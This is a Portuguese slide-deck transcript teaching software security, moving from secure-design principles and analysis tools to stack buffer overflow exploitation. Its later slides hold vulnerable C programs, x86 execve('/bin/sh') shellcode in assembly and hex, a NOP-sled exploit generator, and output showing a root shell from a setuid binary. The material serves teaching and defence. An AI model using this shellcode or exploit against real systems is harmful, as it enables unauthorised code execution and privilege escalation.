(In)Segurança De Software, Quebrando Códigos

262
(In)Segurança de Software Quebrando Códigos Rafael Rosa rafaeltbh *nospan* yahoo dot com dot br 10/2008

description

Técnicas de exploração de vulnerabilidades de software.

Transcript of (In)Segurança De Software, Quebrando Códigos

Page 1: (In)Segurança De Software, Quebrando Códigos

(In)Segurança de Software

Quebrando Códigos

Rafael Rosarafaeltbh *nospan* yahoo dot com dot br 10/2008

Page 2: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 3: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 4: (In)Segurança De Software, Quebrando Códigos

O que é Software?Definição

Software é uma sequência de instruções a serem seguidas na manipulação, redirecionamento, ou modificação de um conjunto de dados.

Conjunto de procedimentos, documentação e estruturas de dados que visam manipular dados.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 5: (In)Segurança De Software, Quebrando Códigos

Software Sempre Falha

Falhas de software só existem porque as pessoas que os constroem estão susceptíveis a falhas.

Falta de experiência para reconhecer e remover falhas e defeitos na fase de projeto e de desenvolvimento.

Falta de conhecimento de princípios básicos de desenvolvimento seguro.

Causas

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 6: (In)Segurança De Software, Quebrando Códigos

Quando o Software Falha

Expõe dados confidenciais à usuários não autorizados.

Programa pode terminar a execução ao receber entradas não esperadas.

Pode permitir injeção e execução de código malicioso.

Consequências

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 7: (In)Segurança De Software, Quebrando Códigos

Desenvolvedores só podem aplicar patchs em bugs conhecidos. Guardados a sete chaves por grupos de invasores.

Patchs geralmente não são aplicados por desconhecimento dos usuários e por comodismo dos administradores de sistema (sistema funciona então não vou mexer, minha sistema não vai ser atacado).

Correção de Software DefeituosoManutenção

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 8: (In)Segurança De Software, Quebrando Códigos

Correção de Software Defeituoso

Correções precisam ser feitas muito rapidamente por necessidades de mercado, com isso o que deveria apenas corrigir uma vulnerabilidade pode introduzir um série de novas vulnerabilidades.

Geralmente corrigem os sintomas, não a real causa do problema.

Manutenção

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 9: (In)Segurança De Software, Quebrando Códigos

Desenvolvimento de Software

Complexidade.

Extensibilidade.

Conectividade.

Dificuldades

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 10: (In)Segurança De Software, Quebrando Códigos

Dificuldades

Software está se tornando cada vez mais complexo, o que aumenta a quantidade de defeitos de projeto.

Número cada vez maior de linhas de código. Mais bugs.

Menor funcionalidade significa menos risco de exposição.

Complexidade

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 11: (In)Segurança De Software, Quebrando Códigos

Permite a adição de novas funcionalidades a um sistema. Plug-ins, drivers de dispositivo e módulos dinamicamente carregados.

Recursos que permitem extensibilidade devem ser bem projetados. Difícil proteger algo que ainda não foi desenvolvido.

DificuldadesExtensibilidade

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 12: (In)Segurança De Software, Quebrando Códigos

Popularização da Internet. Enorme quantidade de sistemas de software trocando informações sigilosas via rede.

Alta conectividade entre usuários domésticos e infra-estruturas críticas.

Aumento do número de vetores de ataque.

DificuldadesConectividade

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 13: (In)Segurança De Software, Quebrando Códigos

Desenvolvimento de Software

Bug.

Defeito.

Falha.

Problemas

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 14: (In)Segurança De Software, Quebrando Códigos

Existe somente em código, são erros comuns cometidos por programadores.

Copiar 20 bytes para um buffer de tamanho 10.

ProblemasBug

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 15: (In)Segurança De Software, Quebrando Códigos

Condição anormal que pode existir em qualquer artefato na fase de desenvolvimento de software.

No início de uma comunicação criptografada os dois nós trocam as chaves assimétricas, e então se inicia um sessão criptografada. Através dessa sessão os dois nós trocam uma chave simétrica, de modo que os dados possam então ser criptografados pela mesma.

ProblemasDefeito

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 16: (In)Segurança De Software, Quebrando Códigos

Comportamento diferente do esperado. Defeito ou bug ativado.

Quando um atacante se coloca no meio de uma conexão criptografada desde o início do handshake, ele pode burlar toda a segurança imposta pelo método de chave assimétrica. Com isso é possível obter a chave simétrica e então escutar ou injetar dados na conexão.

ProblemasFalha

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 17: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 18: (In)Segurança De Software, Quebrando Códigos

Segurança de Software

Segurança é relativa. Software tem que ser seguro contra o quê? E contra quem?

Mecanismos de segurança não podem ser simplesmente adicionados à um sistema, tem que ser considerados desde o início do projeto.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 19: (In)Segurança De Software, Quebrando Códigos

Segurança de Software

Cada ambiente tem que ser analisado cuidadosamente para não afetar a usabilidade, funcionalidade e eficiência do sistema de software.

Software seguro deve prover confidenciabilidade, autenticação, controle de acesso, integridade, disponibilidade e não-repúdio.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 20: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Software é tão seguro quanto sua ponta mais fraca.

Atacantes vão seguir pelo caminho de menor resistência.

Proteção da ponta mais fraca

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 21: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Mecanismos de segurança devem ser redundantes. Permite vários pontos de falha.

Evita que um único ponto de falha comprometa a segurança do sistema como um todo.

Aplicação deve ser projetada como se todos os outros mecanismos de segurança do sistema tivessem sido burlados.

Defesa em profundidade

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 22: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Falhas são inevitáveis e precisam ser planejadas de modo a não expôr o sistema. Recuperação de falhas é um aspecto essencial da engenharia de segurança.

Após uma falha, alterações devem ser desfeitas de modo que o sistema volte a um estado seguro.

Valores de retorno devem ser cuidadosamente checados.

Falhar de modo seguro

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 23: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Mínimo de permissão durante o menor tempo possível.

Desistir de permissões elevadas assim que ações que as exigiam forem completadas.

Se uma vulnerabilidade for explorada o atacante terá tantas regalias quanto o processo quebrado.

Princípio de menor privilégio

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 24: (In)Segurança De Software, Quebrando Códigos

Software SeguroCompartimentalização

Separar o sistema em tantos compartimentos quanto for possível, de modo que cada compartimento tenha o mínimo de privilégio necessário para realizar as operações de que está encarregado.

Confinar códigos com alto nível de privilégio. Todo dano ocorrerá em um “ambiente” controlado.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 25: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Complexidade aumenta o risco de defeitos.

Reutilização de componentes que já provaram sua qualidade deve ser praticada.

Não é inteligente criar rotinas próprias de criptografia e garantia de integridade.

KISS

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 26: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Feedback para o usuário é diferente de prover muita informação.

Privacidade dos usuários não deve ser comprometida. Dados pessoais devem ser bem protegidos.

Privacidade

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 27: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Ofuscamento de código e segurança por obscuridade não funcionam. Acesso ao binário significa acesso à informação.

Deve-se considerar que o atacante conhece o sistema tanto quanto o desenvolvedor.

Esconder segredos não é fácil

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 28: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Toda interface com o software é um possível vetor de ataque.

Entrada de qualquer interface do sistema deve ser vista com desconfiança. Não se deve assumir nada em relação a I/O.

Suposições incorretas sobre o ambiente de execução do sistema resultam em problemas de segurança.

Não confiar em interfaces externas

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 29: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Entidades diferentes não devem compartilhar mecanismos que permitem acessos à recursos.

O mesmo usuário de um SGBD não deve ser compartilhado entre duas aplicações. Exploração de uma aplicação pode comprometer a outra.

Mecanismo menos comum

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 30: (In)Segurança De Software, Quebrando Códigos

Software Seguro

Em toda operação realizada por um usuário deve-se validar a identidade do agente e checar as permissões do mesmo em relação à tarefa em questão.

Mediação Completa

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 31: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Depurador.

Disassembler.

Descompilador.

Ferramenta de auditoria de segurança.

Fuzzer.

Ferramentas

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 32: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Executa um programa passo a passo, permite análise de registradores, dumps de memória, configuração de pontos de interrupção,

OllyDbg, SofIce, gdb.

Depurador

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 33: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Faz engenharia reversa do código de máquina gerando código assembly.

IDAPro, OllyDbg, gdb, Valgrind.

Disassembler

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 34: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Faz engenharia reversa do código de máquina gerando código de alto nível. Código um tanto obscuro.

Depende da quantidade de informação da linguagem de alto nível contida no binário.

Rec, dcc.

Descompilador

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 35: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Faz auditoria de código fonte em busca de padrões previamente conhecidos como “problemáticos”. Descrevem o problema encontrado e propõe correções.

RATS, Flawfinder, ITS4.

Ferramenta de auditoria de segurança

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 36: (In)Segurança De Software, Quebrando Códigos

Analisando Software

Injeta dados inválidos, mal formatados, maliciosos, e inesperados em pontos de entrada de dados do software. Se ocorrer algo diferente do esperado, o defeito é detectado.

Os dados de entrada por sem baseados tanto em white-box quanto em black-box.

FuzzGrind, tmin.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Fuzzers

Page 37: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 38: (In)Segurança De Software, Quebrando Códigos

Ocorre quando um bug permite que se possa extravasar a quantidade de memória reservada à um buffer, permitindo que dados sejam gravados em endereços de memória contíguos ao mesmo

Erro de programação comum em linguagem C. Muitos poderes exigem muitas responsabilidades.

O que é?

Buffer Overflow(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 39: (In)Segurança De Software, Quebrando Códigos

Esse endereço contíguo pode ser um frame de pilha, endereço de retorno, ponteiro de função ou uma variável de controle da aplicação.

Esquemas de proteção em software podem ser facilmente quebrados caso sejam controlados por dados (flags, variáveis de controle) em memória.

E daí?

Buffer Overflow(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 40: (In)Segurança De Software, Quebrando Códigos

gets, strcpy, strcat, sprintf, scanf, sscanf, fscanf, streadd, strecpy, strtrns, getopt, getchar, fgetc, getc, read, bcopy, fgets, memcpy, snprintf, strncpy, syslog.

Funções vulneráveis

Buffer Overflow(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 41: (In)Segurança De Software, Quebrando Códigos

Overflows podem ocorrer na stack ou na heap.

Na heap são mais difíceis de explorar e de identificar.

Área de memória vulnerável

Buffer Overflow(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 42: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 43: (In)Segurança De Software, Quebrando Códigos

Stack Overflow

Área da memória reservada para chamadas de função e armazenamento de variáveis locais.

Stack

ebp

esp var2

ebp salvoret

arg1arg2

var1

buffer1

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 44: (In)Segurança De Software, Quebrando Códigos

Stack Overflow

Sistemas unix mapeiam a stack para regiões altas de memória:

Mapeamento da Stack

0xbffeb000 - 0xc0000000

Sistemas Windows mapeiam para regiões baixas:

0x0022ff1f - 0x00096cbf

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 45: (In)Segurança De Software, Quebrando Códigos

Stack OverflowMapa de memória no Linux

não usada

.init, .text, .rodata

.data, .bss

Bibliotecas compartilhadas

kernel

stack

heap

memória baixa

memória alta

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 46: (In)Segurança De Software, Quebrando Códigos

Stack OverflowMapa de memória no Windows

kernel

Bibliotecas compartilhadas

stack

.text

memória baixa

memória alta

heap

.data, .rodata, .bss

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 47: (In)Segurança De Software, Quebrando Códigos

Stack OverflowPrograma vulnerável

void func(char *str){char buffer[16];

strcpy(buffer, str);printf("%s\n", buffer);

}

int main(int argc, char *argv[]){

if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;

}

func(argv[1]);printf("fim\n");

}

[rafael@centos stack]$ ./stack_overflow_ex1 AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFSegmentation fault[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 48: (In)Segurança De Software, Quebrando Códigos

Stack OverflowStack do programa

EBP anterior ptr strend retornobuffer[16]

esp ebp

crescimento da stack

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 49: (In)Segurança De Software, Quebrando Códigos

Stack OverflowVetor de injeção

EBP anterior ptr strbuffer[16] end retorno

vetor de injeção

Injetar vetor de ataque de modo a controlar o endereço de retorno.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 50: (In)Segurança De Software, Quebrando Códigos

Stack OverflowExecutando código inativo

void foo(){printf("nunca entra aqui\n");exit(1);

}

void func(){char buffer[16];strcpy(buffer, "AAAABBBBCCCCDDD");

*((long*)(buffer+20)) = (long)&foo;printf("%s\n", buffer);

}

int main(){func();printf("fim\n");

}

[rafael@centos stack]$ ./stack_overflow_ex2 AAAABBBBCCCCDDDnunca entra aqui[rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 51: (In)Segurança De Software, Quebrando Códigos

Stack OverflowControlando endereço de retorno

crescimento da stack

EBP anterior ...buffer[16]

esp ebp

end retorno

AAAA...DDD EBP anterior ptr foo ...

Endereço de retorno sobrescrito.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 52: (In)Segurança De Software, Quebrando Códigos

Stack OverflowExecutando um shell

E se fosse um shell?

void foo(){char *params[2];params[0] = "/bin/sh";params[1] = NULL;execve(params[0], params, NULL);

}

[rafael@centos stack]$ ./stack_overflow_ex3 AAAABBBBCCCCDDD sh-3.2$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 53: (In)Segurança De Software, Quebrando Códigos

Stack OverflowPlanejando o ataque

Não basta sobrescrever o endereço de retorno. Precisamos de um shellcode no nosso vetor de injeção.

Endereço de retorno deve apontar para o payload, de modo a redirecionar o fluxo para o código de execução do shell.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 54: (In)Segurança De Software, Quebrando Códigos

Stack OverflowEscrevendo shellcode

movl $0x80484a8,0xfffffff4(%ebp) “/bin/sh'movl $0x0,0xfffffff8(%ebp) NULLmov 0xfffffff4(%ebp),%edxmovl $0x0,0x8(%esp) NULLlea 0xfffffff4(%ebp),%eaxmov %eax,0x4(%esp) /bin/shmov %edx,(%esp) /bin/sh, NULLcall 0x8048280 <execve>

Desassemblando chamada à execve().

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 55: (In)Segurança De Software, Quebrando Códigos

Stack OverflowEscrevendo shellcode

mov 0x8(%ebp), %ebx “/bin/sh”mov 0xc(%ebp), %ecx {“/bin/sh”, NULL}mov 0x10(%ebp), %edx NULLmov $0xb, %eax 0xbint $0x80

Desassemblando execve().

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 56: (In)Segurança De Software, Quebrando Códigos

Stack OverflowEscrevendo shellcode

eax recebe 0xb.

Ponteiro para “/bin/sh” deve estar em ebx.

Ponteiro de strings em ecx.

Ponteiro NULL em edx.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 57: (In)Segurança De Software, Quebrando Códigos

Stack OverflowEscrevendo shellcode

BITS 32section .textglobal _start_start:

push 0 ; empilha '\0'push 0x68732f2f ; empilha “//sh”push 0x6e69622f ; empilha “/bin”mov ebx, esp ; ebx aponta para “/bin//sh”push 0 ; empilha NULLpush ebx ; empilha endereço de “/bin//sh”mov ecx, esp ; ecx aponta para ponteiros de stringsmov eax, 0xb ; eax recebe 0xb (execve)int 0x80 ; chamada de sistema

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 58: (In)Segurança De Software, Quebrando Códigos

Stack OverflowTestando o código

[rafael@centos stack]$ nasm -f elf -o shellcode1.o shellcode1.asm [rafael@centos stack]$ ld -s -o shellcode1 shellcode1.o [rafael@centos stack]$ ./shellcode1 sh-3.2$ exit exit [rafael@centos stack]$

[rafael@centos stack]$ nasm -f bin -o shellcode1.bin shellcode1.asm

Executando shellcode.

Gerando binário.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 59: (In)Segurança De Software, Quebrando Códigos

Stack OverflowBinário gerado

Binário gerado possui 0x00, o que acarretaria no término de uma operação de string.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 60: (In)Segurança De Software, Quebrando Códigos

Stack OverflowEscrevendo shellcode sem 0x00

BITS 32section .textglobal _start_start:

xor eax,eax ; zera eaxpush eax ; empilha eaxpush 0x68732f2f ; empilha “//sh”push 0x6e69622f ; empilha “/bin”mov ebx, esp ; ebx aponta para “/bin//sh”push eax ; empilha NULLpush ebx ; empilha endereço de “/bin//sh”mov ecx, esp ; ecx aponta para ponteiros de stringsmov al, 0xb ; al recebe 0xb (execve)int 0x80 ; chamada de sistema

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 61: (In)Segurança De Software, Quebrando Códigos

Stack OverflowTestando o código

[rafael@centos stack]$ nasm -f elf -o shellcode2.o shellcode2.asm [rafael@centos stack]$ ld -s -o shellcode2 shellcode2.o [rafael@centos stack]$ ./shellcode2 sh-3.2$ exit exit [rafael@centos stack]$

Executando shellcode.

[rafael@centos stack]$ nasm -f bin -o shellcode2.bin shellcode2.asm

Gerando binário.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 62: (In)Segurança De Software, Quebrando Códigos

Stack OverflowBinário gerado

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 63: (In)Segurança De Software, Quebrando Códigos

Stack OverflowShellcode ganhando eip

char shellcode[]= "\x31\xc0\x50\x68\x2f”“\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89”“\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80”;

void func(){char buffer[16];

strcpy(buffer, "AAAABBBBCCCCDDD");

*((long*)(buffer+20)) = (long)shellcode;printf("%s\n", buffer);

}

int main(){func();printf("fim\n");

}

[rafael@centos stack]$ ./stack_overflow_ex4 sh-3.2$ exit exit [rafael@centos stack]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 64: (In)Segurança De Software, Quebrando Códigos

Stack OverflowCodificando exploit

Para criar o vetor de injeção levar em conta tamanho do buffer, alinhamento dos bytes, e restrições de entrada.

Payload pode ser colocado em qualquer localização de memória conhecida

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 65: (In)Segurança De Software, Quebrando Códigos

Stack OverflowCodificando exploit

ret deve estar nesse intevalo

EBP anterior ...buffer[]

crescimento da stack

end retorno

esp

NOPs ret ret ret...Shellcode ret...

ebp

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 66: (In)Segurança De Software, Quebrando Códigos

Stack OverflowCodificando exploit

Como prever a posição correta de retorno?

Stack geralmente é alocada no mesmo endereço.

Conhecendo o início da stack fica fácil adivinhar onde o buffer a ser explorado está localizado.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 67: (In)Segurança De Software, Quebrando Códigos

Stack OverflowCodificando exploit

#define RETADDRS 0xbffff600

char shellcode[]= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int ret;int n, i;char buffer[313];

if(argc != 2){fprintf(stderr, "uso: %s <ret>\n", argv[0]);return 1;

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 68: (In)Segurança De Software, Quebrando Códigos

Stack OverflowCodificando exploit

ret = RETADDRS - atoi(argv[1]);memset(&buffer, 0x90, 312);memcpy(buffer+120, shellcode, strlen(shellcode));

ptr = buffer + 120 + strlen(shellcode);/*alinhando em 4 bytes*/ptr = ((char*)ptr) + (4 - strlen(shellcode)%4);

n = (&buffer[311] - (char*)ptr)/4;

for(i = 0; i < n; i++)ptr[i] = ret;

buffer[312] = '\0';

badfile = fopen("./badfile_ex5.bin", "w");fwrite(buffer, 313, 1, badfile);fclose(badfile);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 69: (In)Segurança De Software, Quebrando Códigos

Stack OverflowGanhando um shell

[rafael@centos stack]$ ./exploit_stack_overflow_ex5 300[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������sh-3.2$

Pra que serve isso?

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 70: (In)Segurança De Software, Quebrando Códigos

Stack OverflowGanhando acesso irrestrito

Se o programa tivesse permissões elevadas:

[root@centos stack]# chown root stack_overflow_ex5[root@centos stack]# chmod +s stack_overflow_ex5[root@centos stack]# ls -l stack_overflow_ex5-rwsrwsrwx 1 root root 9109 2009-08-12 16:08 stack_overflow_ex5

[rafael@centos stack]$ ./exploit_stack_overflow_ex5 450[rafael@centos stack]$ ./stack_overflow_ex5 `cat badfile_ex5.bin `������������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin��PS��1Ұ �������������������������������������������������������������������������������������������������������������������������������# whoamiroot#

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 71: (In)Segurança De Software, Quebrando Códigos

Stack OverflowTerminador não calculado

Operações de buffer são feitas sem levar em consideração o byte NULL de terminação da string.

Dependendo da função de tratamento o terminador pode ou não ser colocado.

Se não for colocado, a string pode ser tratada como se fosse maior do que realmente é.

Se for colocado, o byte seguinte à string será sobrescrito com 0x00.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 72: (In)Segurança De Software, Quebrando Códigos

Stack OverflowNo terminator

#define MAXLEN 128

int func1(char *str1, char *str2){char buffer[MAXLEN];

memset(buffer, 0xff, MAXLEN);

strncpy(buffer, str1, MAXLEN-1);strncat(buffer, str2, MAXLEN - strlen(buffer)-1);printf("%s\n", buffer);

}

/*função de auxílio, já que o frame da main é protegido*/int func(char *str1, char *str2){

int x=0;func1(str1, str2);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 73: (In)Segurança De Software, Quebrando Códigos

Stack OverflowNo terminator

int main(int argc, char *argv[]){

if(argc != 3){fprintf(stderr, "uso %s <arg1> <arg2>\n", argv[0]);return 1;

}

func(argv[1], argv[2]);}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 74: (In)Segurança De Software, Quebrando Códigos

Stack OverflowA técnica

Quando MAXLEN-1 bytes são copiados em strncpy, o terminador não é escrito.

strlen(buffer) será maior que MAXLEN-1, fazendo a operação resultar em um valor negativo, que quando interpretado como unsigned representa um valor muito grande. Com isso acontecerá a concatenação.

O final do buffer é o primeiro byte 0x00 a partir do início do mesmo.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

